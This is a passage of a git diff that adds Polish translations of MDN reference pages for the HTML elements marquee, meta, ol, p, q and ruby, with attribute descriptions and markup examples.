+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.link", 3)}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Nagłówek HTTP {{HTTPHeader("Link")}}</li>
+</ul>
diff --git a/files/pl/web/html/element/marquee/index.html b/files/pl/web/html/element/marquee/index.html
new file mode 100644
index 0000000000..e26f2e3652
--- /dev/null
+++ b/files/pl/web/html/element/marquee/index.html
@@ -0,0 +1,112 @@
+---
+title: marquee
+slug: Web/HTML/Element/marquee
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/marquee
+---
+<div>{{ non-standard_header() }}</div>
+
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p>Element <code>&lt;marquee&gt;...&lt;/marquee&gt;</code> wykorzystywany jest do przewijanego tekstu wewnątrz pola tekstowego.</p>
+
+
+<h2 id="Atrybuty" name="Atrybuty">Atrybuty</h2>
+<dl>
+ <dt>
+ behavior</dt>
+ <dd>
+ Ustawienia, w jaki sposób jest przewijany tekst w <code>marquee</code>. Możliwymi wartościami są <code>scroll</code>, <code>slide</code> i <code>alternate</code>. Jeśli wartość nie jest określona, to domyślnie jest ustawiona wartość <code>scroll</code>.</dd>
+ <dt>
+ bgcolor</dt>
+ <dd>
+ Ustawienia koloru tła, podane jako nazwa koloru lub wartości szesnastkowe.</dd>
+ <dt>
+ direction</dt>
+ <dd>
+ Ustawienia kierunku, w jakim przewijać ma się zawartość <code>marquee</code>. Możliwymi wartościami są <code>left</code> (w lewo), <code>right</code> (w prawo), <code>up</code> (do góry) i <code>down</code> (w dół). Jeśli wartość nie jest określona, to domyślnie jest ustawiona wartość <code>left</code> (w lewo).</dd>
+ <dt>
+ height</dt>
+ <dd>
+ Ustawienia wysokości. Wartości podajemy w pikselach lub procentach.</dd>
+ <dt>
+ hspace (1.9a)</dt>
+ <dd>
+ Ustawienia poziomego marginesu.</dd>
+ <dt>
+ loop (1.9a)</dt>
+ <dd>
+ Ustawienia, ile razy zostanie przewinięty znacznik <code>marquee</code>. Jeśli wartość nie jest określona, to domyślnie jest ustawiona wartość −1, która znaczy, że zawartość <code>marquee</code> będzie przewijana ciągle.</dd>
+ <dt>
+ scrollamount</dt>
+ <dd>
+ Ustawienia sumy przewinięć każdej przerwy, wyrażona w pikselach. Domyślnym ustawieniem jest 6.</dd>
+ <dt>
+ scrolldelay</dt>
+ <dd>
+ Ustawia przerwę pomiędzy każdym przesunięciem przewinięcia w milisekundach. Domyślną wartością jest 85. Uwaga, ta wartość nie może być mniejsza niż 60, bo mniejsze wartości są ignorowane i użyta jest wartość 60 zamiast wpisanej mniejszej wartości.</dd>
+ <dt>
+ truespeed (1.9a)</dt>
+ <dd>
+ Ustawia, czy czas przewijania nie jest mniejszy niż 60, bo mniejsze wartości będą ignorowane. Możliwe wartości to <code>true</code> lub <code>false</code>. Domyślną wartością jest <code>false</code></dd>
+ <dt>
+ vspace (1.9a)</dt>
+ <dd>
+ Ustawienia pionowego marginesu w pikselach lub procentach.</dd>
+ <dt>
+ width</dt>
+ <dd>
+ Ustawia wartość długości w pikselach lub procentach.</dd>
+</dl>
+
+
+
+<h2 id="Zdarzenia" name="Zdarzenia">Zdarzenia</h2>
+<dl>
+ <dt>
+ onbounce</dt>
+ <dd>
+ Zdarzenie jest wywołane, gdy tekst odbije się od końca jego pola. Może zdarzyć się tylko wtedy, gdy właściwość <code>behavior</code> jest ustawiona na <code>alternate</code>.</dd>
+ <dt>
+ onfinish</dt>
+ <dd>
+ Zdarzenie jest wywołane, kiedy tekst skończy się przewijać (przewijanie ustawiamy za pomocą atrybutu pętli). Może się zdarzyć tylko, gdy atrybut pętli jest większy niż 0.</dd>
+ <dt>
+ onstart</dt>
+ <dd>
+ Zdarza się, kiedy tekst zaczyna się przewijać.</dd>
+</dl>
+
+
+<h2 id="Metody" name="Metody">Metody</h2>
+<dl>
+ <dt>
+ start</dt>
+ <dd>
+ Uruchamia przewijanie zawartości znacznika <code>marquee</code>.</dd>
+ <dt>
+ stop</dt>
+ <dd>
+ Zatrzymuje przewijanie zawartości znacznika <code>marquee</code>.</dd>
+</dl>
+
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:html">&lt;marquee&gt;This text will scroll from right to left&lt;/marquee&gt;
+&lt;marquee direction="up"&gt;Ten tekst będzie się przewijał do góry&lt;/marquee&gt;
+&lt;marquee direction="down" width="250" height="200"
+ behavior="alternate" style="border:1px solid black"&gt;
+ &lt;marquee behavior="alternate"&gt;
+ This text will bounce
+ &lt;/marquee&gt;
+&lt;/marquee&gt;
+</pre>
+
+
+<h2 id="Notatka" name="Notatka">Notatka</h2>
+<p>Znacznik <code>marquee</code> został wymyślony dla przeglądarki IE.</p>
+<p>Znacznik <code>marquee</code> nie jest zgodny ze specyfikacją HTML lub XHTML. Autor strony, aby zachować zgodność ze standardami, nie powinien używać tego znacznika.</p>
+<p>Znacznik <code>marquee</code> jest zaimplementowany w Mozilla przy użyciu <a href="/pl/XBL" title="pl/XBL">XBL</a>: <a class="external" href="http://lxr.mozilla.org/seamonkey/source/layout/style/xbl-marquee/xbl-marquee.xml" rel="freelink">http://lxr.mozilla.org/seamonkey/sou...bl-marquee.xml</a></p>
+
+<div>{{ HTML:Element_Navigation() }}</div>
diff --git a/files/pl/web/html/element/meta/index.html b/files/pl/web/html/element/meta/index.html
new file mode 100644
index 0000000000..8fbc0241f3
--- /dev/null
+++ b/files/pl/web/html/element/meta/index.html
@@ -0,0 +1,144 @@
+---
+title: '<meta>: Element metadanych na poziomie dokumentów'
+slug: Web/HTML/Element/meta
+translation_of: Web/HTML/Element/meta
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>Element HTML <code>&lt;meta&gt;</code></strong> reprezentuje {{Glossary("Metadata","metadane")}}, które nie mogą być reprezentowane przez inne elementy związane z metadanymi w HTML, takie jak {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} lub {{HTMLElement("title")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td>Metadata content. If the {{htmlattrxref("itemprop")}} attribute is present: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td>None, it is an {{Glossary("empty element")}}.</td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>As it is a void element, the start tag must be present and the end tag must not be present.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td><code>&lt;meta charset&gt;</code>, <code>&lt;meta http-equiv&gt;</code>: a {{HTMLElement("head")}} element. If the {{htmlattrxref("http-equiv", "meta")}} is not an encoding declaration, it can also be inside a {{HTMLElement("noscript")}} element, itself inside a {{HTMLElement("head")}} element.</td>
+ </tr>
+ <tr>
+ <th scope="row">Domniemane role ARIA</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>No <code>role</code> permitted</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{domxref("HTMLMetaElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>The type of metadata provided by the <code>meta</code> element can be one of the following:</p>
+
+<ul>
+ <li>If the {{htmlattrxref("name", "meta")}} attribute is set, the <code>meta</code> element provides <em>document-level metadata</em>, applying to the whole page.</li>
+ <li>If the {{htmlattrxref("http-equiv", "meta")}} attribute is set, the <code>meta</code> element is a <em>pragma directive</em>, providing information equivalent to what can be given by a similarly-named HTTP header.</li>
+ <li>If the {{htmlattrxref("charset", "meta")}} attribute is set, the <code>meta</code> element is a <em>charset declaration</em>, giving the character encoding in which the document is encoded.</li>
+ <li>If the {{htmlattrxref("itemprop")}} attribute is set, the <code>meta</code> element provides <em>user-defined metadata</em>.</li>
+</ul>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> the attribute {{htmlattrxref("name", "meta")}} has a specific meaning for the <code>&lt;meta&gt;</code> element, and the {{htmlattrxref("itemprop")}} attribute must not be set on the same <code>&lt;meta&gt;</code> element that has any existing {{htmlattrxref("name", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} or {{htmlattrxref("charset", "meta")}} attributes.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}</dt>
+ <dd>This attribute declares the document's character encoding. If the attribute is present, its value must be an ASCII case-insensitive match for the string "<code>utf-8</code>".</dd>
+ <dt>{{htmlattrdef("content")}}</dt>
+ <dd>This attribute contains the value for the {{htmlattrxref("http-equiv", "meta")}} or {{htmlattrxref("name", "meta")}} attribute, depending on which is used.</dd>
+ <dt>{{htmlattrdef("http-equiv")}}</dt>
+ <dd>
+ <p>Defines a pragma directive. The attribute is named <code><strong>http-equiv</strong>(alent)</code> because all the allowed values are names of particular HTTP headers:</p>
+
+ <ul>
+ <li><code>content-security-policy</code>
+
+ <p>Allows page authors to define a <a href="/en-US/docs/Web/Security/CSP/CSP_policy_directives">content policy</a> for the current page. Content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks.</p>
+ </li>
+ <li><code>content-type</code>
+ <p>If specified, the <code>content</code> attribute must have the value "<code>text/html; charset=utf-8</code>". <strong>Note: </strong> Can only be used in documents served with a <code>text/html</code> <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> — not in documents served with an XML MIME type.</p>
+ </li>
+ <li><code>default-style</code>
+ <p>Sets the name of the default <a href="/en-US/docs/Web/CSS">CSS style sheet</a> set.</p>
+ </li>
+ <li><code>x-ua-compatible</code>
+ <p>If specified, the <code>content</code> attribute must have the value "<code>IE=edge</code>". User agents are required to ignore this pragma.</p>
+ </li>
+ <li><code>refresh</code>
+ <div>This instruction specifies:</div>
+
+ <ul>
+ <li>The number of seconds until the page should be reloaded - only if the {{htmlattrxref("content", "meta")}} attribute contains a positive integer.</li>
+ <li>The number of seconds until the page should redirect to another - only if the {{htmlattrxref("content", "meta")}} attribute contains a positive integer followed by the string '<code>;url=</code>', and a valid URL.</li>
+ </ul>
+
+ <h5 id="Accessibility_concerns">Accessibility concerns</h5>
+
+ <div>Pages set with a <code>refresh</code> value run the risk of having the time interval being too short. People navigating with the aid of assistive technology such as a screen reader may be unable to read through and understand the page's content before being automatically redirected. The abrupt, unannounced updating of the page content may also be disorienting for people experiencing low vision conditions.</div>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_—_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.1 explanations</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Understanding WCAG, Guideline 3.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-required-behaviors.html">Understanding Success Criterion 2.2.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html">Understanding Success Criterion 2.2.4 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/consistent-behavior-no-extreme-changes-context.html">Understanding Success Criterion 3.2.5 | W3C Understanding WCAG 2.0</a></li>
+ </ul>
+ </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p>The <code>name</code> and <code>content</code> attributes can be used together to provide document metadata in terms of name-value pairs, with the <code>name</code> attribute giving the metadata name, and the <code>content</code> attribute giving the value.</p>
+
+ <p>See <a href="/en-US/docs/Web/HTML/Element/meta/name">standard metadata names</a> for details about the set of standard metadata names defined in the HTML specification.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: html notranslate">&lt;meta charset="utf-8"&gt;
+
+&lt;!-- Redirect page after 3 seconds --&gt;
+&lt;meta http-equiv="refresh" content="3;url=https://www.mozilla.org"&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-meta-element', '&lt;meta&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<div>{{Compat("html.elements.meta")}}</div>
diff --git a/files/pl/web/html/element/ol/index.html b/files/pl/web/html/element/ol/index.html
new file mode 100644
index 0000000000..7ce2455796
--- /dev/null
+++ b/files/pl/web/html/element/ol/index.html
@@ -0,0 +1,123 @@
+---
+title: ol
+slug: Web/HTML/Element/ol
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/ol
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Element <code>&lt;ol&gt;</code> (ordered list) jest używany do definiowania uporządkowanej lub numerowanej listy punktów. Styl numerowania pojawia się w różnych formach, włączając w to litery, cyfry rzymskie i normalne liczby. Poszczególne punkty w liście są określane przez elementy <a href="pl/HTML/Element/li">pozycja listy</a> (<a href="pl/HTML/Element/li">&lt;li&gt;</a>), objęte elementem <code>&lt;ol&gt;</code>.</p>
+<ul>
+ <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li>
+ <li>Dozwolona zawartość: <a href="pl/HTML/Element/li">li</a></li>
+</ul>
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+<dl>
+ <dt>
+ start {{ Deprecated_inline() }}</dt>
+ <dd>
+ Określa początkową wartość dla numerowania poszczególnych punktów listy. Chociaż typ porządkowania listy elementów może być cyframi rzymskimi, jak XXXI, lub literami, wartość <code>start</code> jest zawsze reprezentowana jako liczba. By rozpocząć numerowanie elementów od litery "C", użyj <code>&lt;ol type="A" start="3"&gt;</code>.</dd>
+</dl>
+<dl>
+ <dt>
+ type {{ Deprecated_inline() }}</dt>
+ <dd>
+ Wskazuje typ numerowania: <code>a</code> określa małe litery, <code>A</code> wskazuje duże litery, <code>i</code> określa małe cyfry rzymskie, <code>I</code> określa duże cyfry rzymskie, zaś <code>1</code> określa liczby. Atrybut <code>type</code> ustawiony w elemencie <code>&lt;ol&gt;</code> jest używany wewnątrz listy, chyba że atrybut <code>type</code> jest użyty w zamkniętym elemencie <a href="pl/HTML/Element/li">&lt;li&gt;</a>. Ten atrybut jest wycofywany, użyj zamiast niego własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/list-style-type">list-style-type</a>.</dd>
+</dl>
+<dl>
+ <dt>
+ compact {{ Deprecated_inline() }}</dt>
+ <dd>
+ Wskazuje, że lista powinna być wyświetlona w zwartej formie. Interpretacja tego atrybutu zależy od programu użytkownika. Nie działa on we wszystkich wiodących przeglądarkach.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<h4 id="Prosty_przyk.C5.82ad" name="Prosty_przyk.C5.82ad">Prosty przykład</h4>
+<pre> &lt;ol&gt;
+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja&lt;/li&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ol&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ol>
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja</li>
+ <li>trzecia pozycja</li>
+</ol>
+<h4 id="U.C5.BCycie_w.C5.82asno.C5.9Bci_start" name="U.C5.BCycie_w.C5.82asno.C5.9Bci_start">Użycie własności <code>start</code></h4>
+<pre> &lt;ol start="7"&gt;
+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja&lt;/li&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ol&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ol start="7">
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja</li>
+ <li>trzecia pozycja</li>
+</ol>
+<h4 id="Zagnie.C5.BCd.C5.BCona_lista" name="Zagnie.C5.BCd.C5.BCona_lista">Zagnieżdżona lista</h4>
+<pre> &lt;ol&gt;
+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja &lt;!-- Spójrz, zamykający znacznik &lt;/li&gt; nie jest tutaj umieszczony --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;druga pozycja pierwszy podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja drugi podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja trzeci podpunkt&lt;/li&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt; &lt;!-- Tutaj jest zamykający znacznik &lt;/li&gt; --&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ol&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ol>
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja
+ <ol>
+ <li>druga pozycja pierwszy podpunkt</li>
+ <li>druga pozycja drugi podpunkt</li>
+ <li>druga pozycja trzeci podpunkt</li>
+ </ol>
+ </li>
+ <li>trzecia pozycja</li>
+</ol>
+<h4 id="Zagnie.C5.BCd.C5.BCanie_.3Col.3E_oraz_.3Cul.3E" name="Zagnie.C5.BCd.C5.BCanie_.3Col.3E_oraz_.3Cul.3E">Zagnieżdżanie &lt;ol&gt; oraz &lt;ul&gt;</h4>
+<pre> &lt;ol&gt;
+ &lt;li&gt;pierwsza pozycja&lt;/li&gt;
+ &lt;li&gt;druga pozycja &lt;!-- Spójrz, zamykający znacznik &lt;/li&gt; nie jest tutaj umieszczony --&gt;
+ &lt;ul&gt;
+ &lt;li&gt;druga pozycja pierwszy podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja drugi podpunkt&lt;/li&gt;
+ &lt;li&gt;druga pozycja trzeci podpunkt&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt; &lt;!-- Tutaj jest zamykający znacznik &lt;/li&gt; --&gt;
+ &lt;li&gt;trzecia pozycja&lt;/li&gt;
+ &lt;/ol&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:</p>
+<ol>
+ <li>pierwsza pozycja</li>
+ <li>druga pozycja
+ <ul>
+ <li style="list-style-type: square;">druga pozycja pierwszy podpunkt</li>
+ <li style="list-style-type: square;">druga pozycja drugi podpunkt</li>
+ <li style="list-style-type: square;">druga pozycja trzeci podpunkt</li>
+ </ul>
+ </li>
+ <li>trzecia pozycja</li>
+</ol>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Możesz zagnieżdżać tak dużo list <code>&lt;ul&gt;</code> i <code>&lt;ol&gt;</code>, jak chcesz w dowolnej kolejności.</p>
+<p>Aby zmienić wcięcie listy, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>.</p>
+<p> </p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<ul>
+ <li><a href="pl/HTML/Element/li">Znacznik li (pozycja listy)</a></li>
+ <li><a href="pl/HTML/Element/ul">Znacznik ul (lista nieuporządkowana)</a></li>
+ <li><a href="pl/CSS/list-style">Własność CSS list-style</a></li>
+ <li><a href="pl/Liczniki_CSS">Liczniki CSS</a></li>
+</ul>
+<p>{{ HTML:Element_Navigation() }}</p>
+<p>{{ languages( { "en": "en/HTML/Element/ol" } ) }}</p>
diff --git a/files/pl/web/html/element/p/index.html b/files/pl/web/html/element/p/index.html
new file mode 100644
index 0000000000..192c45ee88
--- /dev/null
+++ b/files/pl/web/html/element/p/index.html
@@ -0,0 +1,45 @@
+---
+title: p
+slug: Web/HTML/Element/p
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/p
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Element <code>&lt;p&gt;</code> (Paragraph) oznacza akapit. Jest on najpowszechniej używanym elementem.</p>
+
+<ul>
+ <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li>
+ <li>Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">liniowa</a></li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre> &lt;p&gt;To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.
+ To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.&lt;/p&gt;
+
+ &lt;p&gt;To jest drugi akapit tekstu. To jest drugi akapit tekstu.
+ To jest drugi akapit tekstu. To jest drugi akapit tekstu.&lt;/p&gt;
+</pre>
+
+<p>Powyższy HTML daje w efekcie:</p>
+
+<p>To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.</p>
+
+<p>To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu.</p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>By zmienić przerwy między akapitami, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>. <strong>Nie</strong> wstawiaj pomiędzy nie pustych akapitów ani elementów <a href="pl/HTML/Element/br">przełamanie linii</a> (<a href="pl/HTML/Element/br"><code>&lt;br&gt;</code></a>).</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/HTML/Element/hr">Element podział poziomy (<code>&lt;hr&gt;</code>)</a></li>
+ <li><a href="pl/HTML/Element/br">Element przełamanie linii (<code>&lt;br&gt;</code>)</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/pl/web/html/element/q/index.html b/files/pl/web/html/element/q/index.html
new file mode 100644
index 0000000000..9209d2c02f
--- /dev/null
+++ b/files/pl/web/html/element/q/index.html
@@ -0,0 +1,36 @@
+---
+title: q
+slug: Web/HTML/Element/q
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/q
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;q&gt;</code> (Quote) wskazuje, że zamknięty nim tekst jest krótkim liniowych cytatem.
+</p>
+<ul><li> Typ elementu: <a href="pl/HTML/Elementy_liniowe">liniowy</a>
+</li><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">liniowa</a>
+</li></ul>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<dl><dt>cite
+</dt><dd>Wartością tego atrybutu jest URL, który określa źródłowy dokument lub wiadomość dla cytowanej informacji. Ten atrybut jest przeznaczony do wskazywania informacji objaśniającej kontekst lub odwołanie dla cytatu.
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre> Everytime Kenny is killed, Stan will announce &lt;q&gt;Oh my God, you/they killed Kenny!&lt;/q&gt;.
+</pre>
+<p>Powyższy HTML daje w efekcie:
+</p><p><img alt="Image:HTML-q.png"> </p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Ten element jest przeznaczony dla krótkich cytatów, które nie wymagają podziału na akapity, dla długich cytatów użyj elementu <a href="pl/HTML/Element/blockquote"><code>&lt;blockquote&gt;</code></a>.
+</p><p>Większość współczesnych przeglądarek, jak Mozilla Firefox, Opera i Safari, może dodać cudzysłowy wokół tekstu zamkniętego elementem <code>&lt;q&gt;</code>.
+</p><p>Niektóre przeglądarki, jak Internet Explorer, mogą nie robić żadnej zmiany stylu dla cytatów, ale jest możliwe nadanie tego w regułach stylów.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/blockquote">Element <code>&lt;blockquote&gt;</code></a>
+</li><li> <a href="pl/HTML/Element/cite">Element <code>&lt;cite&gt;</code></a>
+</li></ul>
+<p><br>
+{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/q" } ) }}
diff --git a/files/pl/web/html/element/ruby/index.html b/files/pl/web/html/element/ruby/index.html
new file mode 100644
index 0000000000..287fa1683b
--- /dev/null
+++ b/files/pl/web/html/element/ruby/index.html
@@ -0,0 +1,103 @@
+---
+title: <ruby>
+slug: Web/HTML/Element/ruby
+translation_of: Web/HTML/Element/ruby
+---
+<div>{{HTMLRef}}</div>
+
+<p>Znacznik <strong>HTML <code>&lt;ruby&gt;</code></strong> reprezentuje adnotację ruby. Adnotacje te są w celu wyświetlania wymowy znaków używanych w Azji Wschodniej.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane na repozytorium GitHub. Jeżeli chciałbyś przyczynić się do interaktywnych przykładowych projektów, sklonuj, proszę <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam prośbę o dołączenie.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategorie zawartości</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Treść przepływu</a>, treść wyrażona, treść oczywista.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolona treść</th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Treść wyrażona.</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Pominięcie znacznika</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwoleni rodzice</th>
+ <td>Każdy element akceptujący <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">treść wyrażoną.</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>Każda.</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs DOM</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element zawiera tylko <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">globalne atrybuty</a>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Przykład_1_Znak">Przykład 1: Znak</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+ 漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+ 字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h3 id="Przykład_2_Wyraz">Przykład 2: Wyraz</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+ 明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Uwaga</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+
+
+<div class="hidden">Tabela kompatybilności na tej stronie jest wygenerowana z zbudowanych danych. Jeżeli chciałbyś przyczynić się do danych, sprawdź, proszę <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam prośbę o dołączenie.</div>
+
+<p>{{Compat("html.elements.ruby")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+ <li>{{CSSxRef("text-transform")}}: full-size-kana</li>
+</ul>
diff --git a/files/pl/web/html/element/s/index.html b/files/pl/web/html/element/s/index.html
new file mode 100644
index 0000000000..373204a4e5
--- /dev/null
+++ b/files/pl/web/html/element/s/index.html
